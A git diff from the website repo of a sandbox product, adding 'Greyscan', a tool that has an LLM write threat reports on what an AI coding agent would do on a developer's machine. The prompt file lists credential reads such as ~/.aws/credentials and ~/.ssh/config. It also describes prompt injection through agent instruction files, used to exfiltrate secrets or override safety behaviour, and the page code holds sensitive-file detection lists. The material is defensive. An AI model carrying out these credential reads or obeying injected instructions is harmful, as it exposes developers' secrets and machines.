Compare commits
53 Commits
84b16955d7
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b1d0c95232 | ||
|
|
3f7a5e0fc1 | ||
|
|
f4fa328455 | ||
|
|
b2879e1a5e | ||
|
|
14fcaea830 | ||
|
|
b43e4c8ac4 | ||
|
|
a45888a89b | ||
|
|
803c7523a5 | ||
|
|
82e4bf0bda | ||
|
|
7a3fd57314 | ||
|
|
1de053a066 | ||
|
|
1205191348 | ||
|
|
477e7dfb4f | ||
|
|
bc21fa97ad | ||
|
|
0ee456ad58 | ||
|
|
5726d2d210 | ||
|
|
37716003bf | ||
|
|
cf2eb30a04 | ||
|
|
bb0ea229e4 | ||
|
|
616b3139e0 | ||
|
|
62af4ed8b9 | ||
|
|
697c09457c | ||
|
|
07a507fb61 | ||
|
|
00cb727222 | ||
|
|
adea1fec5b | ||
|
|
1c89ab47fc | ||
|
|
085305676b | ||
|
|
f28038e141 | ||
|
|
cacaddaca5 | ||
|
|
696c02bd68 | ||
| 2a5d83e086 | |||
| cd2bc6f3e4 | |||
|
|
e42e24d0b2 | ||
|
|
07ce7484fe | ||
|
|
4129bf8dac | ||
|
|
127eb8030e | ||
|
|
90f23405e8 | ||
|
|
5b562c222f | ||
|
|
6616642134 | ||
|
|
0933c9d17e | ||
|
|
61d94b0f75 | ||
|
|
17302d21f1 | ||
|
|
d92b3fd0cc | ||
|
|
7197de1ef2 | ||
|
|
a5af681b9e | ||
|
|
df393e623a | ||
|
|
4d3fc33835 | ||
|
|
bcb28f740f | ||
|
|
37e5798760 | ||
|
|
d8394cafce | ||
|
|
144770456d | ||
|
|
281eb09111 | ||
|
|
479c184459 |
5
.gitignore
vendored
@@ -5,3 +5,8 @@ out/
|
||||
*.tsbuildinfo
|
||||
next-env.d.ts
|
||||
.vercel
|
||||
.env
|
||||
greywall-logo-negative.png
|
||||
greywall-logo-positive.png
|
||||
terminal.png
|
||||
youtube-thumbnail.png
|
||||
95
app/api/analyze/prompt.txt
Normal file
@@ -0,0 +1,95 @@
|
||||
You are a security analyst who deeply understands how AI coding agents behave. Your job is to generate a realistic threat report showing what an AI agent would attempt on a developer's machine when working on this repo.
|
||||
|
||||
AI agents run as the user's own process with full access to their machine. The repo determines what the agent is motivated to do, but the attack surface is the developer's entire system. The agent doesn't stay within the repo boundary.
|
||||
|
||||
Your findings must follow this logic: REPO CONTENTS → AGENT MOTIVATION → ACTION ON MACHINE.
|
||||
|
||||
There are TWO categories of threats to analyze:
|
||||
|
||||
CATEGORY 1: WHAT THE AGENT WOULD ACCESS (based on repo contents)
|
||||
|
||||
Examples of correct causal chains:
|
||||
- Repo has aws-sdk in package.json → agent needs AWS context → reads ~/.aws/credentials
|
||||
- Repo has Dockerfile + deploy scripts → agent needs SSH for deployment → reads ~/.ssh/config
|
||||
- Repo has .env.example with STRIPE_KEY → agent wants to test integration → reads .env, calls Stripe API
|
||||
- Repo has database migrations + pg dependency → agent needs DB connection → reads .env for DATABASE_URL
|
||||
|
||||
Examples of WRONG findings (no causal link):
|
||||
- Static HTML repo → "reads SSH private keys" (no deployment, no motivation)
|
||||
- Repo with no cloud deps → "reads ~/.aws/credentials" (nothing uses AWS)
|
||||
- Simple library → "calls external APIs" (which APIs? there are none in the deps)
|
||||
|
||||
CATEGORY 2: WHAT IN THIS REPO COULD MANIPULATE THE AGENT (prompt injection surface)
|
||||
|
||||
This is the sharper threat. Look for files that influence agent behavior:
|
||||
- CLAUDE.md, .claude/, .claude/commands/, .claude/agents/ — Claude Code instruction files
|
||||
- .cursorrules, .cursor/ — Cursor instruction files
|
||||
- .github/copilot-instructions.md — Copilot instructions
|
||||
- AGENTS.md, .mcp.json — agent config files
|
||||
- .aider.conf.yml — Aider config
|
||||
- CONTRIBUTING.md, CONVENTIONS.md — files agents read for project context
|
||||
- .windsurfrules, .boltrules, .clinerules — other agent instruction files
|
||||
- Any markdown file in the repo root that an agent would read for context
|
||||
|
||||
These files are a prompt injection surface. A malicious contributor, compromised dependency, or supply chain attack could modify these files to:
|
||||
- Instruct the agent to exfiltrate secrets to an attacker-controlled URL
|
||||
- Tell the agent to modify code in subtle, harmful ways
|
||||
- Redirect the agent to install malicious packages
|
||||
- Override safety behaviors the agent would normally follow
|
||||
- Instruct the agent to ignore security warnings
|
||||
|
||||
IMPORTANT: A sandbox like Greywall does NOT prevent prompt injection. The agent will still read these files and follow the instructions. What a sandbox does is contain the blast radius: even if the agent is hijacked, it can't exfiltrate data (network blocked), can't read secrets (filesystem denied), can't run destructive commands (command blocked). Prompt injection findings should reflect this nuance: the risk is that the agent's behavior is manipulated, and without a sandbox the manipulated agent has unrestricted access.
|
||||
|
||||
If agent instruction files exist in this repo, this is a SIGNIFICANT finding. The more instruction files present, the larger the attack surface.
|
||||
|
||||
SEVERITY CONTEXT:
|
||||
- Documentation sites, package registries, and CDN URLs in code are LOW severity, not high. Agents fetching docs from readthedocs.io or downloading from npmjs.org is normal behavior.
|
||||
- Reading .env files is only concerning if the repo actually has .env files or .env.example files
|
||||
- Network calls are only concerning if there are actual API keys/credentials the agent could discover
|
||||
- Supply chain risk (npm install, pip install) severity scales with number of dependencies. 3 deps = low. 300 deps = high.
|
||||
- Prompt injection via agent instruction files is HIGH/CRITICAL severity because it can hijack all other agent behavior
|
||||
|
||||
Given the repository data below, generate a threat report. Every finding MUST have a clear causal chain from the repo's actual contents to the agent's action.
|
||||
|
||||
Repository: {{owner}}/{{repo}}
|
||||
Files (sample): {{files}}
|
||||
Stack detected: {{stack}}
|
||||
Dependencies: {{dependencies}}
|
||||
Sensitive files found: {{sensitiveFiles}}
|
||||
Config files found: {{configFiles}}
|
||||
Agent instruction files found: {{agentInstructionFiles}}
|
||||
|
||||
README (for understanding what the project does):
|
||||
{{readme}}
|
||||
|
||||
Use the README to understand the project's purpose, architecture, and what services it connects to. This should inform which findings are plausible. For example, if the README describes a CLI tool that talks to a specific API, that API is a valid network finding. If the README says it's a static documentation site, don't generate cloud credential findings.
|
||||
|
||||
Respond with ONLY valid JSON (no markdown, no code fences, no explanation):
|
||||
{
|
||||
"riskScore": <number 0-100>,
|
||||
"riskLevel": "LOW" | "MEDIUM" | "HIGH" | "CRITICAL",
|
||||
"summary": "<2 sentence summary — what the agent would do and why, grounded in this repo's actual contents>",
|
||||
"findings": [
|
||||
{
|
||||
"type": "credential_read" | "network_call" | "directory_access" | "command_execution" | "prompt_injection",
|
||||
"severity": "low" | "medium" | "high" | "critical",
|
||||
"title": "<short, specific title>",
|
||||
"description": "<1-2 sentences: what the agent would do, WHY this repo motivates it (reference specific files/deps), and the real-world damage>",
|
||||
"command": "<the exact command or action>",
|
||||
"note": "<ONLY for prompt_injection type: a short note explaining that a sandbox doesn't prevent the injection but blocks the resulting actions. Omit this field for all other finding types.>"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
Rules:
|
||||
- Generate 4-8 findings depending on actual repo complexity. Simple repos get fewer findings.
|
||||
- Every finding MUST have a causal link: something in the repo motivates the action
|
||||
- If agent instruction files exist, ALWAYS include a prompt_injection finding explaining the risk
|
||||
- If the repo is simple (static site, small library, no cloud deps, no secrets, no agent files), score LOW (10-30) with 3-4 findings
|
||||
- If the repo has config/deps but no secrets, score MEDIUM (30-60)
|
||||
- If the repo has .env files OR cloud SDK dependencies, score HIGH (60-80)
|
||||
- If the repo has .env files AND cloud SDKs AND deployment infra, score CRITICAL (80+)
|
||||
- Agent instruction files bump the score by 10-15 points due to prompt injection risk
|
||||
- Do NOT inflate scores. Be honest. A static HTML repo is low risk.
|
||||
- Do NOT flag documentation sites (readthedocs, docs.python.org) or package registries as high-severity network threats. These are normal, expected agent behavior.
|
||||
- Commands must reference actual file paths from the repo tree
|
||||
79
app/api/analyze/route.ts
Normal file
@@ -0,0 +1,79 @@
|
||||
import { NextRequest, NextResponse } from 'next/server'
|
||||
import { readFileSync } from 'fs'
|
||||
import { join } from 'path'
|
||||
|
||||
const promptTemplate = readFileSync(join(process.cwd(), 'app/api/analyze/prompt.txt'), 'utf-8')
|
||||
|
||||
// In-memory cache: persists for the lifetime of the server process
|
||||
const cache = new Map<string, { data: any; timestamp: number }>()
|
||||
const CACHE_TTL = 1000 * 60 * 60 * 24 // 24 hours
|
||||
|
||||
export async function POST(req: NextRequest) {
|
||||
try {
|
||||
const { owner, repo, files, stack, dependencies, sensitiveFiles, configFiles, agentInstructionFiles, readme } = await req.json()
|
||||
const baseUrl = process.env.SHARED_LLM_BASE_URL
|
||||
const apiKey = process.env.SHARED_LLM_API_KEY
|
||||
|
||||
if (!baseUrl || !apiKey) {
|
||||
return NextResponse.json({ error: 'LLM service not configured' }, { status: 500 })
|
||||
}
|
||||
|
||||
// Check cache
|
||||
const cacheKey = `${owner}/${repo}`.toLowerCase()
|
||||
const cached = cache.get(cacheKey)
|
||||
if (cached && Date.now() - cached.timestamp < CACHE_TTL) {
|
||||
return NextResponse.json(cached.data)
|
||||
}
|
||||
|
||||
const prompt = promptTemplate
|
||||
.replace('{{owner}}', owner)
|
||||
.replace('{{repo}}', repo)
|
||||
.replace('{{files}}', files.slice(0, 80).join(', '))
|
||||
.replace('{{stack}}', stack.join(', ') || 'Unknown')
|
||||
.replace('{{dependencies}}', Object.keys(dependencies || {}).slice(0, 40).join(', ') || 'None detected')
|
||||
.replace('{{sensitiveFiles}}', sensitiveFiles.join(', ') || 'None')
|
||||
.replace('{{configFiles}}', configFiles.join(', ') || 'None')
|
||||
.replace('{{agentInstructionFiles}}', (agentInstructionFiles || []).join(', ') || 'None')
|
||||
.replace('{{readme}}', (readme || '').slice(0, 8000) || 'No README found')
|
||||
|
||||
let endpoint = baseUrl.replace(/\/+$/, '')
|
||||
endpoint = endpoint.replace(/\/v1$/, '')
|
||||
endpoint += '/v1/chat/completions'
|
||||
|
||||
const llmRes = await fetch(endpoint, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${apiKey}` },
|
||||
body: JSON.stringify({
|
||||
model: process.env.SHARED_LLM_MODEL || 'Kimi-K2.5-sandbox',
|
||||
messages: [{ role: 'user', content: prompt }],
|
||||
max_tokens: 8000,
|
||||
temperature: 0.7,
|
||||
}),
|
||||
})
|
||||
|
||||
if (!llmRes.ok) {
|
||||
console.error('LLM error:', await llmRes.text())
|
||||
return NextResponse.json({ error: 'Failed to generate report' }, { status: 500 })
|
||||
}
|
||||
|
||||
const data = await llmRes.json()
|
||||
const msg = data.choices?.[0]?.message
|
||||
const content = msg?.content || msg?.reasoning_content || ''
|
||||
if (!content) {
|
||||
console.error('LLM returned empty content:', JSON.stringify(data).slice(0, 500))
|
||||
return NextResponse.json({ error: 'LLM returned empty response' }, { status: 500 })
|
||||
}
|
||||
const jsonMatch = content.match(/\{[\s\S]*\}/)
|
||||
if (!jsonMatch) {
|
||||
console.error('No JSON found in LLM response:', content.slice(0, 500))
|
||||
return NextResponse.json({ error: 'Failed to parse report' }, { status: 500 })
|
||||
}
|
||||
|
||||
const report = JSON.parse(jsonMatch[0])
|
||||
cache.set(cacheKey, { data: report, timestamp: Date.now() })
|
||||
return NextResponse.json(report)
|
||||
} catch (e: any) {
|
||||
console.error('Analyze error:', e)
|
||||
return NextResponse.json({ error: e.message || 'Analysis failed' }, { status: 500 })
|
||||
}
|
||||
}
|
||||
209
app/globals.css
@@ -4,77 +4,64 @@
|
||||
@custom-variant dark (&:is(.dark *));
|
||||
|
||||
:root {
|
||||
--background: 240 240 236;
|
||||
--foreground: 22 22 20;
|
||||
--card: 249 249 247;
|
||||
--card-foreground: 22 22 20;
|
||||
--popover: 249 249 247;
|
||||
--popover-foreground: 22 22 20;
|
||||
--primary: 217 94 42;
|
||||
--primary-foreground: 249 249 247;
|
||||
--secondary: 240 240 236;
|
||||
--secondary-foreground: 47 47 44;
|
||||
--muted: 240 240 236;
|
||||
--muted-foreground: 87 87 83;
|
||||
--accent: 221 221 215;
|
||||
--accent-foreground: 22 22 20;
|
||||
--destructive: 180 50 50;
|
||||
--destructive-foreground: 249 249 247;
|
||||
--border: 196 196 189;
|
||||
--input: 196 196 189;
|
||||
--ring: 217 94 42;
|
||||
--radius: 0.375rem;
|
||||
}
|
||||
|
||||
.dark {
|
||||
--background: 22 22 20;
|
||||
--foreground: 249 249 247;
|
||||
--card: 47 47 44;
|
||||
--card-foreground: 249 249 247;
|
||||
--popover: 47 47 44;
|
||||
--popover-foreground: 249 249 247;
|
||||
--primary: 217 94 42;
|
||||
--primary-foreground: 249 249 247;
|
||||
--secondary: 87 87 83;
|
||||
--secondary-foreground: 249 249 247;
|
||||
--muted: 87 87 83;
|
||||
--muted-foreground: 196 196 189;
|
||||
--accent: 87 87 83;
|
||||
--accent-foreground: 249 249 247;
|
||||
--destructive: 180 50 50;
|
||||
--destructive-foreground: 249 249 247;
|
||||
--border: 87 87 83;
|
||||
--input: 87 87 83;
|
||||
--ring: 217 94 42;
|
||||
--radius: 0.625rem;
|
||||
--background: #F0F0EC;
|
||||
--foreground: #161614;
|
||||
--card: #F9F9F7;
|
||||
--card-foreground: #161614;
|
||||
--popover: #F9F9F7;
|
||||
--popover-foreground: #161614;
|
||||
--primary: #D95E2A;
|
||||
--primary-foreground: #F9F9F7;
|
||||
--secondary: #F0F0EC;
|
||||
--secondary-foreground: #161614;
|
||||
--muted: #F0F0EC;
|
||||
--muted-foreground: #575753;
|
||||
--accent: #DDDDD7;
|
||||
--accent-foreground: #161614;
|
||||
--destructive: #B43232;
|
||||
--destructive-foreground: #F9F9F7;
|
||||
--border: #C4C4BD;
|
||||
--input: #C4C4BD;
|
||||
--ring: #D95E2A;
|
||||
}
|
||||
|
||||
@theme inline {
|
||||
--font-sans: 'Inter', ui-sans-serif, system-ui, sans-serif;
|
||||
--font-serif: 'Source Serif 4', 'Source Serif Pro', Georgia, serif;
|
||||
--color-background: var(--background);
|
||||
--color-foreground: var(--foreground);
|
||||
--color-offwhite: #F9F9F7;
|
||||
--color-orange: #D95E2A;
|
||||
--color-grey-1: #F0F0EC;
|
||||
--color-grey-2: #DDDDD7;
|
||||
--color-grey-3: #C4C4BD;
|
||||
--color-grey-4: #A6A69F;
|
||||
--color-grey-5: #7F7F79;
|
||||
--color-grey-7: #575753;
|
||||
--color-grey-8: #2F2F2C;
|
||||
--color-grey-9: #161614;
|
||||
--font-sans: var(--font-geist-sans);
|
||||
--font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
|
||||
|
||||
--color-background: rgb(var(--background));
|
||||
--color-foreground: rgb(var(--foreground));
|
||||
--color-card: rgb(var(--card));
|
||||
--color-card-foreground: rgb(var(--card-foreground));
|
||||
--color-popover: rgb(var(--popover));
|
||||
--color-popover-foreground: rgb(var(--popover-foreground));
|
||||
--color-primary: rgb(var(--primary));
|
||||
--color-primary-foreground: rgb(var(--primary-foreground));
|
||||
--color-secondary: rgb(var(--secondary));
|
||||
--color-secondary-foreground: rgb(var(--secondary-foreground));
|
||||
--color-muted: rgb(var(--muted));
|
||||
--color-muted-foreground: rgb(var(--muted-foreground));
|
||||
--color-accent: rgb(var(--accent));
|
||||
--color-accent-foreground: rgb(var(--accent-foreground));
|
||||
--color-destructive: rgb(var(--destructive));
|
||||
--color-destructive-foreground: rgb(var(--destructive-foreground));
|
||||
--color-border: rgb(var(--border));
|
||||
--color-input: rgb(var(--input));
|
||||
--color-ring: rgb(var(--ring));
|
||||
--radius-sm: calc(var(--radius) - 2px);
|
||||
--radius-md: var(--radius);
|
||||
--radius-lg: calc(var(--radius) + 2px);
|
||||
--font-serif: var(--font-source-serif-pro);
|
||||
--color-ring: var(--ring);
|
||||
--color-input: var(--input);
|
||||
--color-border: var(--border);
|
||||
--color-destructive: var(--destructive);
|
||||
--color-destructive-foreground: var(--destructive-foreground);
|
||||
--color-accent-foreground: var(--accent-foreground);
|
||||
--color-accent: var(--accent);
|
||||
--color-muted-foreground: var(--muted-foreground);
|
||||
--color-muted: var(--muted);
|
||||
--color-secondary-foreground: var(--secondary-foreground);
|
||||
--color-secondary: var(--secondary);
|
||||
--color-primary-foreground: var(--primary-foreground);
|
||||
--color-primary: var(--primary);
|
||||
--color-popover-foreground: var(--popover-foreground);
|
||||
--color-popover: var(--popover);
|
||||
--color-card-foreground: var(--card-foreground);
|
||||
--color-card: var(--card);
|
||||
--radius-sm: calc(var(--radius) - 4px);
|
||||
--radius-md: calc(var(--radius) - 2px);
|
||||
--radius-lg: var(--radius);
|
||||
--radius-xl: calc(var(--radius) + 4px);
|
||||
|
||||
--color-greyhaven-orange: #D95E2A;
|
||||
@@ -89,6 +76,18 @@
|
||||
--color-greyhaven-grey8: #2F2F2C;
|
||||
}
|
||||
|
||||
* {
|
||||
font-family: var(--font-source-serif-pro), serif, Arial, Helvetica, sans-serif;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: var(--font-source-serif-pro), serif, Arial, Helvetica, sans-serif;
|
||||
width: 100%;
|
||||
overflow-x: visible;
|
||||
background: #DDDDD7;
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
@layer base {
|
||||
* {
|
||||
@apply border-border outline-ring/50;
|
||||
@@ -101,22 +100,46 @@
|
||||
}
|
||||
}
|
||||
|
||||
/* Code block styling */
|
||||
.code-block {
|
||||
background: rgb(30 30 27);
|
||||
border: 1px solid rgb(var(--border));
|
||||
border-radius: var(--radius-lg);
|
||||
.bg-gradient {
|
||||
background: #DDDDD7;
|
||||
}
|
||||
|
||||
/* Subtle glow effect for primary elements */
|
||||
.glow-orange {
|
||||
box-shadow: 0 0 40px rgba(217, 94, 42, 0.08);
|
||||
.title-serif {
|
||||
font-family: var(--font-source-serif-pro), serif, Arial, Helvetica, sans-serif;
|
||||
font-weight: 600;
|
||||
letter-spacing: -2%;
|
||||
}
|
||||
|
||||
.text-serif {
|
||||
font-family: var(--font-source-serif-pro), serif, Arial, Helvetica, sans-serif;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.surface-card {
|
||||
background: rgba(249, 249, 247, 0.92);
|
||||
box-shadow: 0 8px 24px rgba(22, 22, 20, 0.05);
|
||||
}
|
||||
|
||||
/* Code block styling */
|
||||
.code-block {
|
||||
background: rgb(47 47 44);
|
||||
border: 1px solid rgb(87 87 83);
|
||||
border-radius: var(--radius-lg);
|
||||
box-shadow:
|
||||
inset 0 1px 0 rgba(249, 249, 247, 0.04),
|
||||
0 6px 18px rgba(22, 22, 20, 0.06);
|
||||
}
|
||||
|
||||
.code-block,
|
||||
.code-block * {
|
||||
font-family: var(--font-mono);
|
||||
}
|
||||
|
||||
|
||||
/* Terminal prompt styling */
|
||||
.terminal-line::before {
|
||||
content: '$ ';
|
||||
color: rgb(var(--muted-foreground));
|
||||
color: var(--muted-foreground);
|
||||
}
|
||||
|
||||
/* Smooth section transitions */
|
||||
@@ -124,35 +147,27 @@ section {
|
||||
scroll-margin-top: 5rem;
|
||||
}
|
||||
|
||||
/* Custom scrollbar for dark theme */
|
||||
.dark ::-webkit-scrollbar {
|
||||
/* Custom scrollbar */
|
||||
::-webkit-scrollbar {
|
||||
width: 8px;
|
||||
}
|
||||
.dark ::-webkit-scrollbar-track {
|
||||
background: rgb(22 22 20);
|
||||
::-webkit-scrollbar-track {
|
||||
background: rgb(240 240 236);
|
||||
}
|
||||
.dark ::-webkit-scrollbar-thumb {
|
||||
background: rgb(87 87 83);
|
||||
::-webkit-scrollbar-thumb {
|
||||
background: rgb(166 166 159);
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
/* Animated gradient border */
|
||||
@keyframes border-glow {
|
||||
0%, 100% { opacity: 0.3; }
|
||||
50% { opacity: 0.6; }
|
||||
}
|
||||
|
||||
.border-glow {
|
||||
animation: border-glow 3s ease-in-out infinite;
|
||||
}
|
||||
|
||||
/* Layer card hover effect */
|
||||
.layer-card {
|
||||
transition: all 0.3s ease;
|
||||
transition: border-color 0.2s ease;
|
||||
}
|
||||
.layer-card:hover {
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.2);
|
||||
|
||||
/* Carousel progress bar */
|
||||
@keyframes progress {
|
||||
from { width: 0; }
|
||||
to { width: 100%; }
|
||||
}
|
||||
|
||||
/* Fade in animation for sections */
|
||||
@@ -168,7 +183,7 @@ section {
|
||||
}
|
||||
|
||||
.animate-fade-up {
|
||||
animation: fade-up 0.6s ease-out forwards;
|
||||
animation: fade-up 0.45s ease-out forwards;
|
||||
}
|
||||
|
||||
/* Stagger children */
|
||||
|
||||
37
app/greyscan/layout.tsx
Normal file
@@ -0,0 +1,37 @@
|
||||
import type { Metadata } from 'next'
|
||||
|
||||
export const metadata: Metadata = {
|
||||
title: 'Greyscan | Greywall',
|
||||
description: 'Inspect what an unrestricted AI agent would likely try on your machine from a public repository context.',
|
||||
alternates: {
|
||||
canonical: 'https://greywall.io/greyscan',
|
||||
},
|
||||
openGraph: {
|
||||
title: 'Greyscan | Greywall',
|
||||
description: 'Inspect what an unrestricted AI agent would likely try on your machine from a public repository context.',
|
||||
url: 'https://greywall.io/greyscan',
|
||||
siteName: 'Greywall',
|
||||
type: 'website',
|
||||
},
|
||||
}
|
||||
|
||||
const breadcrumbJsonLd = {
|
||||
'@context': 'https://schema.org',
|
||||
'@type': 'BreadcrumbList',
|
||||
itemListElement: [
|
||||
{ '@type': 'ListItem', position: 1, name: 'Greywall', item: 'https://greywall.io' },
|
||||
{ '@type': 'ListItem', position: 2, name: 'Greyscan', item: 'https://greywall.io/greyscan' },
|
||||
],
|
||||
}
|
||||
|
||||
export default function ExposureLayout({ children }: { children: React.ReactNode }) {
|
||||
return (
|
||||
<>
|
||||
<script
|
||||
type="application/ld+json"
|
||||
dangerouslySetInnerHTML={{ __html: JSON.stringify(breadcrumbJsonLd) }}
|
||||
/>
|
||||
{children}
|
||||
</>
|
||||
)
|
||||
}
|
||||
644
app/greyscan/page.tsx
Normal file
@@ -0,0 +1,644 @@
|
||||
'use client'
|
||||
|
||||
import { useState, useEffect, useRef } from 'react'
|
||||
import {
|
||||
Shield, AlertTriangle, Globe, FolderOpen, Terminal,
|
||||
ArrowLeft, Copy, Check, ArrowRight, Lock, Eye, MessageSquareWarning,
|
||||
} from 'lucide-react'
|
||||
import { GreywallLogo } from '@/components/logo'
|
||||
|
||||
// --- Types ---
|
||||
|
||||
type Phase = 'input' | 'scanning' | 'report'
|
||||
|
||||
interface ScanLine {
|
||||
id: number
|
||||
text: string
|
||||
type: 'info' | 'warning' | 'success' | 'error'
|
||||
}
|
||||
|
||||
interface Finding {
|
||||
type: string
|
||||
severity: string
|
||||
title: string
|
||||
description: string
|
||||
command: string
|
||||
note?: string
|
||||
}
|
||||
|
||||
interface ThreatReport {
|
||||
riskScore: number
|
||||
riskLevel: string
|
||||
summary: string
|
||||
findings: Finding[]
|
||||
}
|
||||
|
||||
// --- Constants ---
|
||||
|
||||
const SENSITIVE_PATTERNS = [
|
||||
'.env', '.env.local', '.env.production', '.env.development',
|
||||
'.env.example', '.env.sample', '.env.test',
|
||||
'secrets.yml', 'secrets.yaml', 'credentials.json',
|
||||
'serviceAccountKey.json', '.npmrc', '.pypirc',
|
||||
'id_rsa', '.pem', '.key', '.p12',
|
||||
'docker-compose.yml', 'docker-compose.yaml', 'Dockerfile',
|
||||
'.htpasswd',
|
||||
]
|
||||
|
||||
const CONFIG_PATTERNS = [
|
||||
'config/', '.github/', '.circleci/', '.gitlab-ci.yml',
|
||||
'webpack.config', 'vite.config', 'next.config', 'nuxt.config',
|
||||
'tsconfig.json', 'nginx.conf', 'Procfile', 'vercel.json',
|
||||
'netlify.toml', 'terraform/', 'k8s/', '.aws/', 'Makefile',
|
||||
]
|
||||
|
||||
const AGENT_INSTRUCTION_PATTERNS = [
|
||||
'CLAUDE.md', '.claude/', '.claude/commands/', '.claude/agents/',
|
||||
'.cursorrules', '.cursorignore', '.cursor/',
|
||||
'.github/copilot-instructions.md',
|
||||
'AGENTS.md', '.mcp.json', 'mcp.json',
|
||||
'.aider.conf.yml', '.aiderignore',
|
||||
'CONVENTIONS.md', 'CONTRIBUTING.md',
|
||||
'.windsurfrules', '.boltrules', '.clinerules',
|
||||
]
|
||||
|
||||
const STACK_DETECT: [string, (f: string[]) => boolean][] = [
|
||||
['Node.js', f => f.some(x => x === 'package.json')],
|
||||
['TypeScript', f => f.some(x => x === 'tsconfig.json' || x.endsWith('.ts') || x.endsWith('.tsx'))],
|
||||
['Python', f => f.some(x => ['requirements.txt', 'setup.py', 'pyproject.toml', 'Pipfile'].includes(x))],
|
||||
['Go', f => f.some(x => x === 'go.mod')],
|
||||
['Rust', f => f.some(x => x === 'Cargo.toml')],
|
||||
['Ruby', f => f.some(x => x === 'Gemfile')],
|
||||
['Java', f => f.some(x => x === 'pom.xml' || x === 'build.gradle')],
|
||||
['React', f => f.some(x => x.endsWith('.jsx') || x.endsWith('.tsx'))],
|
||||
['Next.js', f => f.some(x => x.startsWith('next.config'))],
|
||||
['Django', f => f.some(x => x === 'manage.py')],
|
||||
['Docker', f => f.some(x => x === 'Dockerfile' || x.startsWith('docker-compose'))],
|
||||
['Terraform', f => f.some(x => x.endsWith('.tf'))],
|
||||
]
|
||||
|
||||
// --- Helpers ---
|
||||
|
||||
function parseGitHubUrl(url: string) {
|
||||
const cleaned = url.trim().replace(/\.git$/, '').replace(/\/$/, '')
|
||||
const m = cleaned.match(/(?:(?:https?:\/\/)?github\.com\/)?([^\/\s]+)\/([^\/\s]+)/)
|
||||
if (!m) throw new Error('Invalid GitHub URL. Use format: github.com/owner/repo')
|
||||
return { owner: m[1], repo: m[2] }
|
||||
}
|
||||
|
||||
const delay = (ms: number) => new Promise(r => setTimeout(r, ms))
|
||||
|
||||
async function fetchTree(owner: string, repo: string): Promise<{ files: string[]; truncated: boolean }> {
|
||||
const meta = await fetch(`https://api.github.com/repos/${owner}/${repo}`)
|
||||
if (meta.status === 404) throw new Error('Repository not found. Is it public?')
|
||||
if (meta.status === 403) throw new Error('GitHub rate limit hit. Try again in a minute.')
|
||||
if (!meta.ok) throw new Error(`GitHub error: ${meta.status}`)
|
||||
const { default_branch } = await meta.json()
|
||||
|
||||
const tree = await fetch(
|
||||
`https://api.github.com/repos/${owner}/${repo}/git/trees/${default_branch}?recursive=1`
|
||||
)
|
||||
if (!tree.ok) throw new Error('Failed to fetch repo tree')
|
||||
const data = await tree.json()
|
||||
const files = (data.tree || [])
|
||||
.filter((n: any) => n.type === 'blob')
|
||||
.map((n: any) => n.path)
|
||||
return { files, truncated: !!data.truncated }
|
||||
}
|
||||
|
||||
async function fetchFile(owner: string, repo: string, path: string): Promise<string | null> {
|
||||
try {
|
||||
const res = await fetch(`https://api.github.com/repos/${owner}/${repo}/contents/${path}`)
|
||||
if (!res.ok) return null
|
||||
const { content, encoding } = await res.json()
|
||||
if (encoding === 'base64') return atob(content.replace(/\n/g, ''))
|
||||
return null
|
||||
} catch { return null }
|
||||
}
|
||||
|
||||
function severityColor(s: string) {
|
||||
if (s === 'critical') return 'text-red-400'
|
||||
if (s === 'high') return 'text-primary'
|
||||
if (s === 'medium') return 'text-yellow-400'
|
||||
return 'text-green-400'
|
||||
}
|
||||
|
||||
function severityBg(s: string) {
|
||||
if (s === 'critical') return 'bg-red-400/10 border border-red-400/20'
|
||||
if (s === 'high') return 'bg-primary/10 border border-primary/20'
|
||||
if (s === 'medium') return 'bg-yellow-400/10 border border-yellow-400/20'
|
||||
return 'bg-green-400/10 border border-green-400/20'
|
||||
}
|
||||
|
||||
function typeIcon(t: string) {
|
||||
if (t === 'credential_read') return <Lock className="h-4 w-4" />
|
||||
if (t === 'network_call') return <Globe className="h-4 w-4" />
|
||||
if (t === 'directory_access') return <FolderOpen className="h-4 w-4" />
|
||||
if (t === 'command_execution') return <Terminal className="h-4 w-4" />
|
||||
if (t === 'prompt_injection') return <MessageSquareWarning className="h-4 w-4" />
|
||||
return <Eye className="h-4 w-4" />
|
||||
}
|
||||
|
||||
function riskColor(level: string) {
|
||||
if (level === 'CRITICAL') return '#ef4444'
|
||||
if (level === 'HIGH') return '#D95E2A'
|
||||
if (level === 'MEDIUM') return '#eab308'
|
||||
return '#22c55e'
|
||||
}
|
||||
|
||||
// --- Component ---
|
||||
|
||||
export default function GamePage() {
|
||||
const [phase, setPhase] = useState<Phase>('input')
|
||||
const [url, setUrl] = useState('')
|
||||
const [lines, setLines] = useState<ScanLine[]>([])
|
||||
const [report, setReport] = useState<ThreatReport | null>(null)
|
||||
const [repoName, setRepoName] = useState('')
|
||||
const [detectedStack, setDetectedStack] = useState<string[]>([])
|
||||
const [error, setError] = useState('')
|
||||
const [copied, setCopied] = useState(false)
|
||||
const [animatedScore, setAnimatedScore] = useState(0)
|
||||
const termRef = useRef<HTMLDivElement>(null)
|
||||
const lineId = useRef(0)
|
||||
const hasAutoScanned = useRef(false)
|
||||
|
||||
function addLine(text: string, type: ScanLine['type']) {
|
||||
lineId.current++
|
||||
setLines(prev => [...prev, { id: lineId.current, text, type }])
|
||||
}
|
||||
|
||||
// Auto-scroll terminal
|
||||
useEffect(() => {
|
||||
if (termRef.current) termRef.current.scrollTop = termRef.current.scrollHeight
|
||||
}, [lines])
|
||||
|
||||
// Auto-scan from URL param
|
||||
useEffect(() => {
|
||||
if (hasAutoScanned.current) return
|
||||
const params = new URLSearchParams(window.location.search)
|
||||
const repoParam = params.get('repo')
|
||||
if (repoParam) {
|
||||
hasAutoScanned.current = true
|
||||
const fullUrl = repoParam.includes('github.com') ? repoParam : `https://github.com/${repoParam}`
|
||||
setUrl(fullUrl)
|
||||
scan(fullUrl)
|
||||
}
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [])
|
||||
|
||||
// Animate score counter
|
||||
